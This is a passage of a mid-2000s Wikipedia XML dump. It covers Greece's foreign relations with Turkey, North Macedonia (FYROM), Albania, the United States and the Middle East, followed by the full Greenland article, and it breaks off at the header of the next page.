Other issues dividing Greece and Turkey involve the delimitation of the [[continental shelf]] in the Aegean Sea, territorial waters and airspace, and the condition of the Greek minority in Turkey and the Muslim minority in Greece. Greek and Turkish officials held meetings in the [[1970s]] to discuss differences on Aegean questions, but Greece discontinued these discussions in the fall of [[1981]]. In [[1983]], Greece and Turkey held talks on trade and tourism, but these were suspended by Greece when Turkey recognized the illegal Turkish-Cypriot declaration of an independent state in northern Cyprus in November 1983.

After a dangerous dispute in the Aegean in March [[1987]] concerning oil drilling rights, the Prime Ministers of Greece and Turkey exchanged messages exploring the possibility of resolving the dispute over the continental shelf. Greece wanted the dispute to be decided by the International Court of Justice. Turkey preferred bilateral political discussions. In early [[1988]], the Turkish and Greek Prime Ministers met at [[Davos, Switzerland]], and later in [[Brussels]]. They agreed on various measures to reduce bilateral tensions and to encourage cooperation. New tensions over the Aegean Sea surfaced in November [[1994]], precipitated by Greece's claims that the Law of the Sea Treaty states that it reserved the right to declare a 12&amp;nbsp;[[nautical mile]] (22 km) territorial sea boundary around its Aegean islands as permitted by the treaty. Turkey stated that it would consider any such action a cause for war. New technical-level bilateral discussions began in 1994 but soon fizzled-out.

In January [[1996]], Greece and Turkey came close to an armed confrontation over the question of which country had sovereignty over an [[Imia-Kardak crisis|islet in the Aegean]]. In July [[1997]], on the sidelines of the [[NATO]] summit in Madrid, Greek and Turkish leaders reached agreement on six principles to govern their bilateral relations. Within a few months, however, the two countries were again at odds over Aegean airspace and sovereignty issues. Tensions remained high for months, although various confidence-building measures were discussed to reduce the risk of military accidents or conflict in the Aegean, under the auspices of the [[NATO]] Secretary General.

Relations between the two countries began to improve steadily since a devasting earthquake in [[Izmit|Kocaeli]] on [[August 17]] [[1999]]. Greece was among the first countries to send aid and rescue teams to the region, and Turkey returned the gesture when a smaller earthquake shook Athens later that year. Since then, Greece has come out in support of Turkey's bid for [[European Union|EU]] membership, and there has been greatly increased co-operation between the two countries to resolve the [[Cyprus dispute]].

It must be noted that the Republic of Cyprus is a sovereign state with its own diplomatic corps and Ministry of Foreign Affairs. Though a highly sentimental issue for both populations, the Cyprus problem is mainly a bilateral problem between northern and southern Cypriots.

On [[May 6]] [[2004]], Turkey's Prime Minister [[Recep Tayyip Erdoğan]] became the first Turkish premier to visit Greece in sixteen years. Two days later, he became the first PM in 52 years to visit the Greek Muslim minority in Western Thrace, a community which has been at the centre of rifts between Greece and Turkey for decades. He said, &quot;I'm specially addressing my brothers. You will, without doubt, protect your special identity. Nobody is telling you to lose or give up your Turkish identity. But don't forget you are citizens of Greece.&quot; His words were a clear indication of how much relations had improved, though the implications of the characterization of the Muslim minority as a &quot;turkish&quot; are potentially perplexing.

=== References ===
* BBC News Online ([[8 May]] [[2004]]). [http://news.bbc.co.uk/1/hi/world/europe/3697293.stm Turkish PM visits Greek Muslims].
* Greek Ministry of Foreign Affairs. [http://www2.mfa.gr/www.mfa.gr/en-US/Policy/Geographic+Regions/South-Eastern+Europe/Turkey/]

=== See also ===
* [[Aegean dispute]]
* [[Cyprus dispute]]
* [[Greco-Turkish relations]]

==Balkans==
=== Bilateral relations with the Former Yugoslav Republic of Macedonia (FYROM)===

Greek refusal to recognize the [[Republic of Macedonia|Former Yugoslav Republic of Macedonia]] (FYROM) under its chosen name of &quot;Republic of Macedonia&quot; has been an important issue in Greek politics since [[1992]]. Greece was adamantly opposed to the use of the name &quot;Macedonia&quot; by the government in Skopje, claiming that the name is intrinsically Greek and should not be used by a foreign country.

Furthermore, Greece believes that an independent &quot;Republic of Macedonia&quot; bordering the Greek region of Macedonia would fuel [[irredentist]] tensions in FYROM. The dispute led to a Greek trade embargo against FYROM. in February 1994. Mediation efforts by the UN, U.S., and EU brokered an interim solution to some of these differences in September [[1995]], leading to the lifting of the Greek embargo.

The republic agreed to be recognised internationally as the Former Yugoslav Republic of Macedonia (FYROM) while retaining &quot;Republic of Macedonia&quot; as its constitutional name, as well as changing aspects of its national symbols and constitution to address Greek concerns that they laid claim to Greek cultural symbols and territory.

Since the signing of these interim accords, the two governments have concluded agreements designed to facilitate the movement of people and goods across their common border and improve bilateral relations. Talks on remaining issues are still being held under UN auspices in New York.

Greece's stance on the naming issue has come under increasing pressure in recent years. At least 20 countries have recognised the Republic of Macedonia, rather than FYROM. These include the [[United States]] (in November 2004), the [[Philippines]], [[Iran]], [[Estonia]], [[Malaysia]], [[Russia]], [[Pakistan]], the [[People's Republic of China]], [[Bulgaria]], [[Turkey]], [[Croatia]], [[Slovenia]], [[Bosnia-Herzegovina]], [[Serbia and Montenegro]], [[Ukraine]], [[Belarus]], [[Lithuania]], and others. The [[European Union]], however, has publicly stated that it has no plans to recognise the FYROM as the Republic of Macedonia.

In the spring of [[2004]], FYROM substituted its army on the Greek border with police patrols, as part of its general border demilitarization framework.

Greek foreign policy strongly supports FYROM's integration into [[NATO]] and the [[European Union]], as a part of the long-term process of integration of the majority of Balkan states into the EU. Greece is the first among foreign investors in FYROM, having invested a total of more than 460 million euros. It is expected that the relations between the two countries will improve even more when FYROM is accepted as part of the European Union.

=== Bilateral relations with [[Albania]] ===

Greece restored diplomatic relations with Albania in [[1971]], but the Greek government retained a cease-of-fire and did not formally lift the state of war, declared during [[World War II|WWII]], until [[1987]]. After the fall of the Albanian communist regime in [[1991]], relations between Athens and Tirana became increasingly strained because of widespread allegations of mistreatment by Albanian authorities of the Greek ethnic minority in southern Albania, and of the same by the Greek authorities towards alleged Albanian minorities in northern Greece [see [[Chameria]]]. A wave of Albanian illegal economic migrants to Greece exacerbated tensions. On [[April 10]], [[1994]], there was an attack on an Albanian military post near the Greek border by Greek commandos that left two Albanian soldiers dead and three wounded. The crisis in Greek-Albanian relations reached its peak in late August of 1994, when an Albanian court sentenced five members (a sixth member was added later) of the ethnic Greek organization &quot;Omonia&quot; to prison terms on charges of undermining the Albanian state. This was in retaliation for the border attack. Greece responded by freezing all EU aid to Albania and deporting 115,000 Albanians working in Greece, most as illegal immigrants, and sealing its border with Albania [http://www.greekhelsinki.gr/pdf/ghm-greeks-albanians.PDF]. In December 1994, however, Greece began to permit limited EU aid to Albania, while Albania released two of the Omonia defendants and reduced the sentences of the remaining four.

Today, relations between the two countries are relatively good, and, at the Albanian Government's request, about 250 Greek military personnel are stationed in Albania to assist with the training and restructuring the Albanian [[armed forces]]. There are still many Albanian workers in Greece that have not received legal papers despite promises by the Greek government, though this is due to extensive bureaucracy of the Greek state. Furthermore, many Greeks believe the large in-flux of Albanians into Greece to be responsible for the rapid rise of crime in Greece.

== United States ==

The United States and Greece have long-standing historical, political, and cultural ties based on a common heritage, shared democratic values, and participation as Allies during [[World War II]], the [[Korean conflict]], and the [[Cold War]]. The U.S. is the largest foreign investor in Greece; U.S. foreign investment in Greece was about $1.5 billion in [[1994]].

About 3 millions Americans are of Greek ancestry. The [[Greek-American]]s are a well-organized community in the U.S., and they help cultivate close political and cultural ties with Greece. Greece has the seventh-largest population of U.S. [[Social Security (United States)|Social Security]] beneficiaries in the world.

During the Greek civil war of [[1946]]-[[1949]], the U.S. proclaimed the [[Truman Doctrine]], promising assistance to governments resisting communist subjugation, and began a period of substantial financial and military aid. The U.S. has provided Greece with more than $11.1 billion in economic and security assistance since [[1946]]. Economic programs were phased out by [[1962]], but military assistance has continued. In fiscal year [[1995]], Greece was the fourth-largest recipient of U.S. security assistance, receiving loans totaling $255.15 million in foreign military financing.

In [[1953]], the first defense cooperation agreement between Greece and the United States was signed, providing for the establishment and operation of American military installations on Greek territory. The current [[mutual defense cooperation agreement]] (MDCA) provides for continued U.S. military assistance to Greece and the operation by the U.S. of a major military facility at Souda Bay, Crete. 

However, there is also much anti-American sentiment in Greece as a result of the United States meddling in Greece's affairs a number of times with negative results. The United States intervened in the Greek civil war, taking the side of the right extremists against the left National Liberation Army (ELAS), the organization that carried out most of the resistance during the Nazi occupation of Greece, and ELAS' successor in the civil war, the Democratic Army of Greece (DSE). The extreme right won and instituted a highly brutal regime, for which the [[CIA]] helped create a new internal security agency in 1953, KYP (now renamed [[Hellenic National Intelligence Service|EYP]]). Before long, KYP was carrying out systematic torture and other human rights violations commonly associated with secret police.

Furthermore, the United States CIA assisted in the 1967 coup. The military coup took place in April 1967, just two days before the campaign for national elections was to begin, elections which appeared certain to bring the veteran liberal leader [[George Papandreou, senior]] back as prime minister. Papandreou had been elected in February 1964 with the only outright majority in the history of modern Greek elections. The successful machinations to unseat him had begun immediately, a joint effort of the Royal Court, the Greek military, and the American military and CIA stationed in Greece. 

The 1967 coup was followed immediately by [[martial law]], [[censorship]], arrests, beatings, [[torture]], and killings, the victims totaling some 8,000 in the first month. This was accompanied by a declaration, considered predictable and laughable by some leftists, that this was all being done to save the nation from a &quot;Communist takeover&quot;.  The new conservative regime decided to remove influences in Greek life it considered corrupting and subversive influences, including [[miniskirt]]s for women, long hair for men, and foreign newspapers; church attendance for the young would be compulsory.

James Becket, an American attorney sent to Greece by [[Amnesty International]], wrote in December 1969 that &quot;a conservative estimate would place at not less than two thousand&quot; the number of people tortured, usually in the most gruesome of ways, often with equipment supplied by the United States.

Becket reported the following: 

''Hundreds of prisoners have listened to the little speech given by Inspector Basil Lambrou, who sits behind his desk which displays the red, white, and blue clasped-hand symbol of American aid. He tries to show the prisoner the absolute futility of resistance: &quot;You make yourself ridiculous by thinking you can do anything. The world is divided in two. There are the communists on that side and on this side the free world. The Russians and the Americans, no one else. What are we? Americans. Behind me there is the government, behind the government is NATO, behind NATO is the U.S. You can't fight us, we are Americans.&quot;
''

The [[2003 invasion of Iraq|occupation of Iraq]] and the [[2004]] recognition of the [[Former Yugoslav Republic of Macedonia]] with its constitutional name by the United States has only expanded the view of the United States as belligerent in the eyes of many Greeks living in Greece.

===See also===
* [[Greek-American Relations]]

== The Middle East ==

Greece has a special interest in the Middle East because of its geographic position and its economic and historic ties to the area. Greece cooperated with allied forces during the [[1990]]-[[1991]] [[Persian Gulf War]]. Since [[1994]], Greece has signed defense cooperation agreements with Israel and Egypt. In recent years, Greek leaders have made numerous trips to the region in order to strengthen bilateral ties and encourage the Middle East Peace Process. In July [[1997]], December [[1997]], and July [[1998]] Greece hosted meetings of Israeli and Palestinian politicians to contribute to the peace process. Also, Greece recognizes the [[State of Palestine|State of Palestine’s]] sovereignty.

==Terms==

Some terms have or used to have significant importance to Greek foreign policy:

=== Eastern Thrace ===

A name for the [[Europe]]an part of [[Turkey]], west of [[Istanbul]]. This name is usually used by the [[Greeks]], mostly by Greek families that were forced out of that region between [[1912]] - [[1923]].

=== Northern Epirus ===

'''Northern Epirus''' is the historical region of what has become southern [[Albania]] where there is a [[Greeks|Greek]] minority of around 100,000. The government of Greece claims that this territory is inhabited mostly by Greeks, whereas the government of Albania maintains that it is Albanian territory with Greek minorities. There are villages in the south of Albania where Greek is the predominant language. There have been many small incidents between the Greek minorities and Albanian authorities over issues such as alleged interference in local southern Albanian politics by the [[Politics of Greece|government of Greece]], the raising of the Greek flag on Albanian territory, the language taught in school, etc.; however, the issues have for the most part been non-violent.

The religion of the Greek minority is [[Greek Orthodox]] whereas a large number of the Albanian population follows the rites of the [[Albanian Orthodox Church]]. 

The parents of former CIA director [[George J. Tenet]] were Greeks from Northern Epirus.

=== Smyrna ===

[[Smyrna]] (most correctly ''Smyrni'', ''Σμύρνη'') is the Greek/Latin name for the city of [[Izmir]], [[Turkey]].

=== Enosis ===

The word '''''Ένωσις''''' ('''''enosis''''') is [[Greek language|Greek]] for ''union''. It is primarily used to refer to the unification of Cyprus and Greece, and became a political issue, and a goal of Greek foreign policy, during the years of [[United Kingdom|British]] colonial rule in Cyprus (1878-1960). In 1864 the British had previously ceded the [[Ionian islands]], which they had administered for fifty years, to the new Kingdom of Greece, and this was taken by supporters of enosis as a precedent for the cession of Hellenic territories to Greece after a period of British administration. 

The movement for enosis gained ground in the 1940s and 1950s. In 1954, at the instigation of Greek Cypriot communal leader Archbishop [[Makarios]] III, Greece raised the issue of [[self-determination]] for Cyprus at the [[United Nations]], with a view to a Cypriot plebiscite on the island's future which, it was widely supposed, would result in a vote for enosis. In 1955, the controversial guerrilla movement [[EOKA]] was formed in Cyprus in support of enosis. However, sensitive negotiations between Greece, Turkey and the United Kingdom resulted in a fragile independence for Cyprus in 1960 and the new Cypriot [[President]] Makarios, formerly a keen advocate of enosis, now preferred to follow a more neutral foreign policy and enosis seemed politically faded. During the presidential campaign for the 1968 elections, Makarios said that enosis was &quot;wishable&quot; whereas independence was &quot;possible&quot;. This differentiated him from the hardline pro-enosis elements which formed [[EOKA#EOKA-B|EOKA-B]] and participated in a coup against him in [[1974]]. The coup was sponsored by the military government of Greece and was a short-lived failure, triggering an invasion of Cyprus by [[Turkey]] which contributed to the collapse of the Athens regime.

===Great Greece===

''Megali Ellas'' or ''Megali Ellada'' (''Μεγάλη Ελλάς'' or ''Μεγάλη Ελλάδα'') -- literally &quot;Great Greece&quot; -- refers to Southern [[Italy]] and was used by Ancient Greeks. The Romans used the term ''&quot;[[Magna Graecia]]&quot;''. This is a historical term, referring mostly to the era of the ancient Greek colonization of the area, and does not apply to modern diplomacy.

=== Constantinople ===

The Greeks refer to [[Istanbul]] with its older name of [[Constantinople]] (''Κωνσταντινούπολη''), although they also use &quot;I Poli&quot; (''The City'') colloquially. Greek &quot;εις την Πόλη&quot; (read ''&quot;iss tin poli&quot;'') means &quot;to the City&quot; and is the phrase &quot;Istanbul&quot; derives from.

=== Black Sea ===

[[Black Sea]] (''Μαύρη Θάλασσα''), or Euxine Sea (''Εύξεινος Πόντος''), is the Greek name of [[Pontus]]. (Turkish ''Karadeniz)''

===Megali Idea===	 

See [[Megali Idea]] for a concept that was related to Greek foreign relations in the 20th century.

==International organization participation==
[[Bank for International Settlements|BIS]], [[Customs Cooperation Council|CCC]], [[Council of Europe|CE]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Africa|ECA]] (associate), [[United Nations Economic Commission for Europe|ECE]], [[ECLAC]], [[European Investment Bank|EIB]], [[Economic and Monetary Union of the European Union|EMU]], [[European Union|EU]], [[Food and Agriculture Organization|FAO]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Development Association|IDA]], [[International Energy Agency|IEA]], [[IFAD]], [[IFC]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[NATO]], [[OECD]], [[Organization for Security and Co-operation in Europe|OSCE]], [[United Nations|UN]], [[United Nations Security Council|UN Security Council]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[WEU]],[[World Health Organization|WHO]], [[WIPO]], [[WMO]].

== External links ==

* [http://www.mfa.gr/english/foreign_policy/ Greece's foreign policy], via the Greek Ministry of Foreign affairs

* [http://www.odci.gov/cia/publications/factbook/geos/al.html#People Ethnic groups in Albania], via CIA - The World Factbook

*[http://www.ethesis.net/greece/greece_contence.htm Greece's Shifting Position on Turkish Accession to the EU Before and After Helsinki (1999)]

[[Category:Foreign relations of Greece|Foreign relations of Greece]]

[[de:Enosis]]
[[es:Ministro de Relación Exterior de Grecia]]
[[fr:Politique étrangère de la Grèce]]
[[nl:Enosis]]</text>
    </revision>
  </page>
  <page>
    <title>Greenland</title>
    <id>12118</id>
    <revision>
      <id>42035826</id>
      <timestamp>2006-03-03T10:17:58Z</timestamp>
      <contributor>
        <ip>204.218.240.62</ip>
      </contributor>
      <comment>/* Miscellaneous topics */</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Kalaallit Nunaat''' &lt;small&gt;([[Kalaallisut language|Greenlandic]])&lt;/small&gt; &lt;br&gt;'''Grønland''' &lt;small&gt;([[Danish language|Danish]])&lt;/small&gt;&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Flag of Greenland.svg|125px|Flag of Greenland]] || align=center width=130px| [[Image:Greenland coat of arms.png|80px|Greenland Coat of Arms]]
|-
| width=&quot;130px&quot;| ([[Flag of Greenland]]) || align=center width=130px| ([[Coat of Arms of Greenland|Coat of Arms]])
|}
|-
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | [[Image:LocationGreenland.png|Location of Greenland]]
|-
|'''[[Official language]]s''' || [[Kalaallisut language|Greenlandic]], [[Danish language|Danish]]
|-
|'''[[Capital]]''' || [[Nuuk]] (Godthåb)
|-
|'''[[List of Danish monarchs|Monarch]]''' || [[Margrethe II of Denmark|Margrethe II]]
|-
|'''[[List of Prime Ministers of Greenland|Prime Minister]]''' || [[Hans Enoksen]]
|-
|'''[[Area]]''' &lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
|[[List of countries by area|Ranked 13th]] &lt;br&gt;[[1 E12 m²|2,166,086 km²]] &lt;br&gt;81.1%
|-
|'''[[Population]]''' &lt;br&gt;&amp;nbsp;- [[2005]] est.&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
|[[List of countries by population|Ranked 210th]] &lt;br&gt; 56,375 &lt;br&gt;0.025/km²
|-
|'''Political Status''' || Autonomous province of the Kingdom of Denmark. Home rule was established in  [[1979]].
|-
|'''[[Currency]]''' || [[Danish krone]]
|-
|'''[[GDP]]''''''PPP''' || $ 1.1 Billion ([[List of countries by GDP (PPP)|190]])
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] 0 to -4
|-
| '''[[National anthem]]''' || [[Nunarput utoqqarsuanngoravit]]&lt;br&gt;[[Nuna asiilasooq]] 
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.gl]]
|-
| '''[[List of country calling codes|Calling code]]''' || 299
|-
| colspan=2 align=right style=&quot;padding: 0 5px 0 5px&quot; |
|}

:''For the town in [[New Hampshire]], see [[Greenland, New Hampshire]].''

'''Greenland''' ([[Kalaallisut language|Greenlandic]]: ''Kalaallit Nunaat'', meaning &quot;Land of the Greenlanders&quot;; [[Danish language|Danish]]: ''Grønland'', meaning &quot;Greenland&quot;) is a self-governed [[Denmark|Danish]] territory. An [[Arctic]] [[island nation]] located in the [[continent]] of [[North America]], both [[physical geography|geographically]] and [[ethnicity|ethnically]]; politically and historically, however, Greenland is closely associated with [[Europe]]. The [[Atlantic Ocean]] and [[Iceland]] lie to Greenland's Southeast; the [[Greenland Sea]] to the East; the [[Arctic Ocean]] to the North; [[Baffin Bay]] and [[Canada]] to the West. Greenland is the [[List of islands by size|world's largest]] [[island]], and is the [[List of countries by area|largest]] [[dependent territory]] by area in the world. It also contains the world's largest [[national park]]. About 81 percent of its surface is covered by [[ice]], known as the Greenlandic ice cap. Nearly all Greenlanders live along the [[fjords]] in the south-west of the island, which has a milder climate. Most Greenlanders have both [[Kalaallit]] ([[Inuit]]) and [[Scandinavian]] ancestry, and speak [[Kalaallisut language|Greenlandic]] (Kalaallisut) as their first language. Greenlandic is spoken by about 50,000 people, which is more than all the other [[Eskimo-Aleut languages]] combined. A minority of [[Dane|Danish]] migrants with no Inuit ancestry speak [[Danish language|Danish]] as their first language. Both languages are official, with the West Greenlandic dialect forming the basis of the official form of Greenlandic.

There is an on-going diplomatic [[sovereignty]] dispute between [[Canada]] and Greenland (represented internationally by [[Denmark]]) over the tiny [[Hans Island]].

Greenland was one of the [[Norway|Norwegian]] Crown colonies until [[1814]], when it formally became a [[Denmark|Danish]] colony, although Norway and Denmark had been in a [[personal union]] for centuries (see [[Denmark-Norway]]). Greenland became an integral part of the Kingdom of Denmark in [[1953]]. It was granted [[devolution|home rule]] (''hjemmestyre'') by the [[Folketing]] (Danish parliament) on [[May 1]] [[1979]]. The law went into effect the following year. The [[Queen of Denmark]], [[Margrethe II of Denmark|Margrethe II]], remains Greenland's [[Head of state]].

== History ==
{{main|History of Greenland}}

Greenland was home to a number of [[Dorset (culture)|Paleo-Eskimo]] cultures in [[prehistory]], the latest of which - the [[Dorset (culture)|Early Dorset]] culture - disappeared around the year [[200]]. Hereafter, the island seems to have been without humans for some eight centuries.

[[Iceland|Icelandic]] settlers found the land uninhabited when they arrived ca. [[982]]. They established three settlements near the very Southwestern tip of the island, where they thrived for the next few centuries, disappearing after over 450 years of habitation.

The name Greenland comes from those [[Scandinavia]]n settlers. In the [[Norse saga]]s, it is said that [[Erik the Red|Eiríkur Rauði]] (Erik the Red) was exiled from [[Iceland]] for murder. He, along with his extended family and [[thrall|slaves]], set out in [[ship]]s to find the land that was rumored to be to the northwest. After settling there, he named the land ''Grænland'' (&quot;Greenland&quot;) in order to attract more people to settle there. The [[fjords]] of the Southern part of the island were lush and had a warmer climate at that time, possibly due to what was called the [[Medieval Warm Period]]. These remote communities thrived and lived off farming, hunting and trading with the motherland, and when the Scandinavian monarchs converted their domains to [[Christianity]], a bishop was installed in Greenland as well. The settlements seem to have coexisted relatively peacefully with the [[Inuit]], who had migrated southwards from the Arctic islands of North America around [[1200]]. In [[1261]], Greenland became part of the Kingdom of Norway. Norway in turn entered into the [[Kalmar Union]] in 1397 and later of the [[personal union]] of [[Denmark-Norway]].

After almost five hundred years, the settlements simply vanished, possibly due to famine during the [[15th century]] in the [[Little Ice Age]], when climatic conditions deteriorated, and contact with Europe was lost. Bones from this late period were found to be in a condition consistent with malnutrition. Some believe the settlers were wiped out by [[Bubonic plague|plague]] or exterminated by Inuits. Other historians have speculated that [[Basque]] or [[English people|English]] [[pirate]]s or [[Slave_trade#Slavery_in_North_Africa|slave traders]] from the [[Barbary Coast]] contributed to the extinction of the Greenlandic communities.

[[Denmark-Norway]] reasserted its latent claim to the colony in 1721. The island's ties with [[Norway]] were severed by the [[Treaty of Kiel]] of [[1814]], through which [[Sweden]] gained control over mainland Norway while Denmark retained all of their common overseas possessions (which at that time included small territories in [[India]], [[West Africa]] and the [[West Indies]], as well as lands in northwestern [[Europe]]).

[[Norway]] occupied and claimed parts of (then uninhabited) Eastern Greenland in the [[1920s]], claiming that it constituted [[Terra nullius]]. Norway and Denmark agreed to settle the matter at the [[Permanent Court of International Justice]] in [[1933]], where Norway lost.

Greenland was also called Gruntland (&quot;Ground-land&quot;) on early maps. Whether Green is an erroneous transcription of Grunt (&quot;Ground&quot;), which refers to shallow bays, or vice versa, is not known.

During World War II, Greenland was on its own, the connection to Denmark having been cut on [[April 9]], [[1940]] when Denmark was occupied by [[Germany]]. Through the [[cryolite]] from the mine in [[Ivigtut]], Greenland was able to pay for goods bought in the [[United States]] and [[Canada]]. The manner in which Greenland had been run prior to the war was altered.

The [[Sirius Patrol]], guarding the Northeastern shores of Greenland using [[dog sled]]s, was founded in 1941 and participated in defeating the Germans, which gave Denmark a better position in the postwar turmoil.  In 1953 Greenland was made an equal part of the Danish Kingdom. In 1979 Greenland took one step further when home rule was granted.

During the War [[Eske Brun]] was governor and ruled the Island via a 1925-law concerning the governing of the Island where,  under extreme circumstances, the governors could take control. The other governor Aksel Svane was transferred to the [[USA]] as leader of the supply to Greenland commission.

== Politics ==
{{main|Politics of Greenland}}
Greenland's [[Head of State]] is the [[List of Danish monarchs|Danish Monarch]], currently [[Margrethe II]]. The Queen's government in Denmark appoints a ''Rigsombudsmand'' ([[High commissioner]]) representing the Danish government and monarchy.

Greenland has a 31 member elected [[parliament]]. The [[head of government]] is the [[Prime Minister of Greenland|Prime Minister]], who is usually the leader of the majority party in Parliament.

It is notable that Greenland is not part of the [[European Union]] (having left the predecessor of EU - European Community in 1985), despite Denmark itself being a member state.

== Geography ==
{{main|Geography of Greenland}}

[[Image:Greenland eastcoast.jpg|thumb|left|South-east coast of Greenland]]
[[Image:Greenland big.png|thumb|Map of Greenland]]

The total area of Greenland measures 2 099 988 km², of which the [[Greenland ice sheet]] covers 1 799 992 km² (85,7%). The coastline of Greenland is 24,430 miles long (39,330 km), about the same length as the Earth's circumference at the [[Equator]].

All [[List of towns in Greenland|towns and settlements of Greenland]] are situated along the ice-free coast, with the population being concentrated along the Western coast. Of the 18 municipalities, 15 are in [[West Greenland]] ([[Aasiaat]], [[Ilulissat]], [[Kangaatsiaq]], [[Qasigiannguit]], [[Qeqertarsuaq]], [[Upernavik]], [[Uummannaq]] in the northern part, [[Maniitsoq]], [[Nuuk]], [[Paamiut]], [[Sisimiut]] in the central part, and [[Ivittuut]], [[Nanortalik]], [[Narsaq]], [[Qaqortoq]] in the southern part), 2 in East Greenland ([[Ammassalik]], [[Ittoqqortoormiit]]) and 1 in North Greenland ([[Qaanaaq]]). Northeastern Greenland, part of North and East Greenland, is not part of any municipality, but is the site of the world's largest national park, [[Northeast Greenland National Park]]. ''See [[Subdivisions of Greenland]].''

At least four scientific expedition stations and camps had been established in the ice-covered central part of Greenland (indicated as pale blue in the map to the right), on the ice sheet: [[Eismitte]], [[North Ice]], North GRIP Camp and The Raven Skiway. Currently, there is a year-round station, [[Summit Camp]], on the [[ice sheet]], established in 1989. The radio station [[Jørgen Brøndlund Fjord]] was, until 1950, the northernmost permanent outpost of the world.

The extreme north of Greenland, [[Peary Land]], is not covered by an [[ice sheet]], because the air there is too dry to produce [[snow]], which is essential in the production and maintenance of an ice sheet. If the [[Greenland ice sheet]] were to completely [[melt]] away, sea levels would rise more than 7 m and Greenland would most likely become an [[archipelago]].

Between [[1989]] and [[1993]], U.S. and European [[climate]] researchers drilled into the summit of Greenland's ice sheet, obtaining a pair of two-mile (3.2 km) long [[ice core]]s.  Analysis of the layering and chemical composition of the cores has provided a revolutionary new record of climate change in the [[Northern Hemisphere]] going back about 100,000 years and illustrated that the world's [[weather]] and [[temperature]] have often shifted rapidly from one seemingly stable state to another, with worldwide [[climate change|consequences]].

== Economy ==
{{main|Economy of Greenland}}

Greenland suffered economic contraction in the early [[1990s]], but since [[1993]] the economy has improved. The Greenland Home Rule Government (GHRG) has pursued a tight fiscal policy since the late [[1980s]] which has helped create surpluses in the public budget and low inflation. Since [[1990]], Greenland has registered a foreign trade deficit following the closure of the last remaining [[lead]] and [[zinc]] mine in 1990. Greenland today is critically dependent on [[fishing]] and [[fish]] exports; the [[shrimp]] fishing industry is by far the largest income earner. Despite resumption of several interesting [[hydrocarbon]] and [[minerals|mineral]] exploration activities, it will take several years before production can materialize. [[Tourism]] is the only sector offering any near-term potential and even this is limited due to a short season and high costs. The public sector, including publicly owned enterprises and the municipalities, plays the dominant role in Greenland's economy. About half the government revenues come from grants from the Danish Government, an important supplement to the [[gross domestic product]]. GDPPC is equivalent to that of the weaker economies of Europe.

== Demographics ==
{{main|Demographics of Greenland}}

== Culture ==
{{main|Culture of Greenland}}

The Greenland National Museum and Archives[http://www.natmus.gl] is located in [[Nuuk]].

== Miscellaneous topics ==
*[[Communications in Greenland]]
*[[Transportation in Greenland]]
*[[Military of Greenland]]
*[[Foreign relations of Greenland]]
*[[University of Greenland]]

== See also ==
*[[Danish colonization of the Americas]]
*[[History of Denmark]]
*[[List of towns in Greenland|List of towns and settlements in Greenland]]
* [[Ellesmere Island]]
* [[Svalbard]]
* [[Cape Morris Jesup]]
* [[Oodaaq]]
* [[Kaffeklubben Island]]
* [[Dennis Schmitt|Ultima Thule search]]
* [[Kalaallit Nunaata Radioa]] - the state broadcaster

== References ==
*[[CIA World Factbook]] 2000

== External links ==
{{commons|Greenland}}
*[http://www.nanoq.gl/english.aspx Greenland Homerule] - Official site
*[http://www.cia.gov/cia/publications/factbook/geos/gl.html Greenland] - CIA World Factbook
*[http://www.statgreen.gl/ Statistics Greenland]
*[http://www.norden.org/web/1-1-fakta/gr_kort.htm Greenland Map] - Hi-Res Map at the Nordic Ministerial Council
*[http://www.mapsofworld.com/lat_long/greenland-lat-long.html Latitude and Longitude of Important locations in Greenland] 
*[http://numismondo.com/pm/grl  Greenland Paper Money]

{{Nordic Council}}
{{North America}}

&lt;!-- see [[List of world records]] --&gt;

{{Link FA|os}}

[[Category:Danish dependencies]]
[[Category:Former Norwegian colonies]]
[[Category:Greenland]]
[[Category:Island nations]]
[[Category:Islands of Denmark]]
[[Category:North Atlantic Islands]]
[[Category:Special territories of the European Union]]
[[Category:Arctic]]

[[af:Groenland]]
[[ang:Grēneland]]
[[ar:جرينلاند]]
[[bg:Гренландия]]
[[zh-min-nan:Chheⁿ-tē]]
[[br:Greunland]]
[[ca:Grenlàndia]]
[[cs:Grónsko]]
[[cy:Grønland]]
[[da:Grønland]]
[[de:Grönland]]
[[et:Gröönimaa]]
[[el:Γροιλανδία]]
[[es:Groenlandia]]
[[eo:Gronlando]]
[[eu:Groenlandia]]
[[fa:گرینلند]]
[[fo:Grønland]]
[[fr:Groenland]]
[[gl:Grenlandia - Kalaallit Nunaat]]
[[ko:그린란드]]
[[io:Grenlando]]
[[id:Greenland]]
[[ia:Groenlandia]]
[[iu:ᐊᑯᑭᑦᑐᑦ]]
[[is:Grænland]]
[[it:Groenlandia]]
[[he:גרינלנד]]
[[kl:Kalaallit Nunaat]]
[[la:Groenlandia]]
[[lt:Grenlandija]]
[[hu:Grönland]]
[[nl:Groenland]]
[[nds:Gröönland]]
[[ja:グリーンランド]]
[[no:Grønland]]
[[nn:Grønland]]
[[os:Гренланди]]
[[pl:Grenlandia]]
[[pt:Gronelândia]]
[[ro:Groenlanda]]
[[ru:Гренландия]]
[[simple:Greenland]]
[[sk:Grónsko]]
[[sl:Grenlandija]]
[[fi:Grönlanti]]
[[sv:Grönland]]
[[th:กรีนแลนด์]]
[[tr:Grönland]]
[[uk:Ґренландія]]
[[zh:格陵兰]]</text>
    </revision>
  </page>
  <page>
    <title>Greenland/History</title>
    <id>12119</id>
    <revision>
      <id>15909825</id>
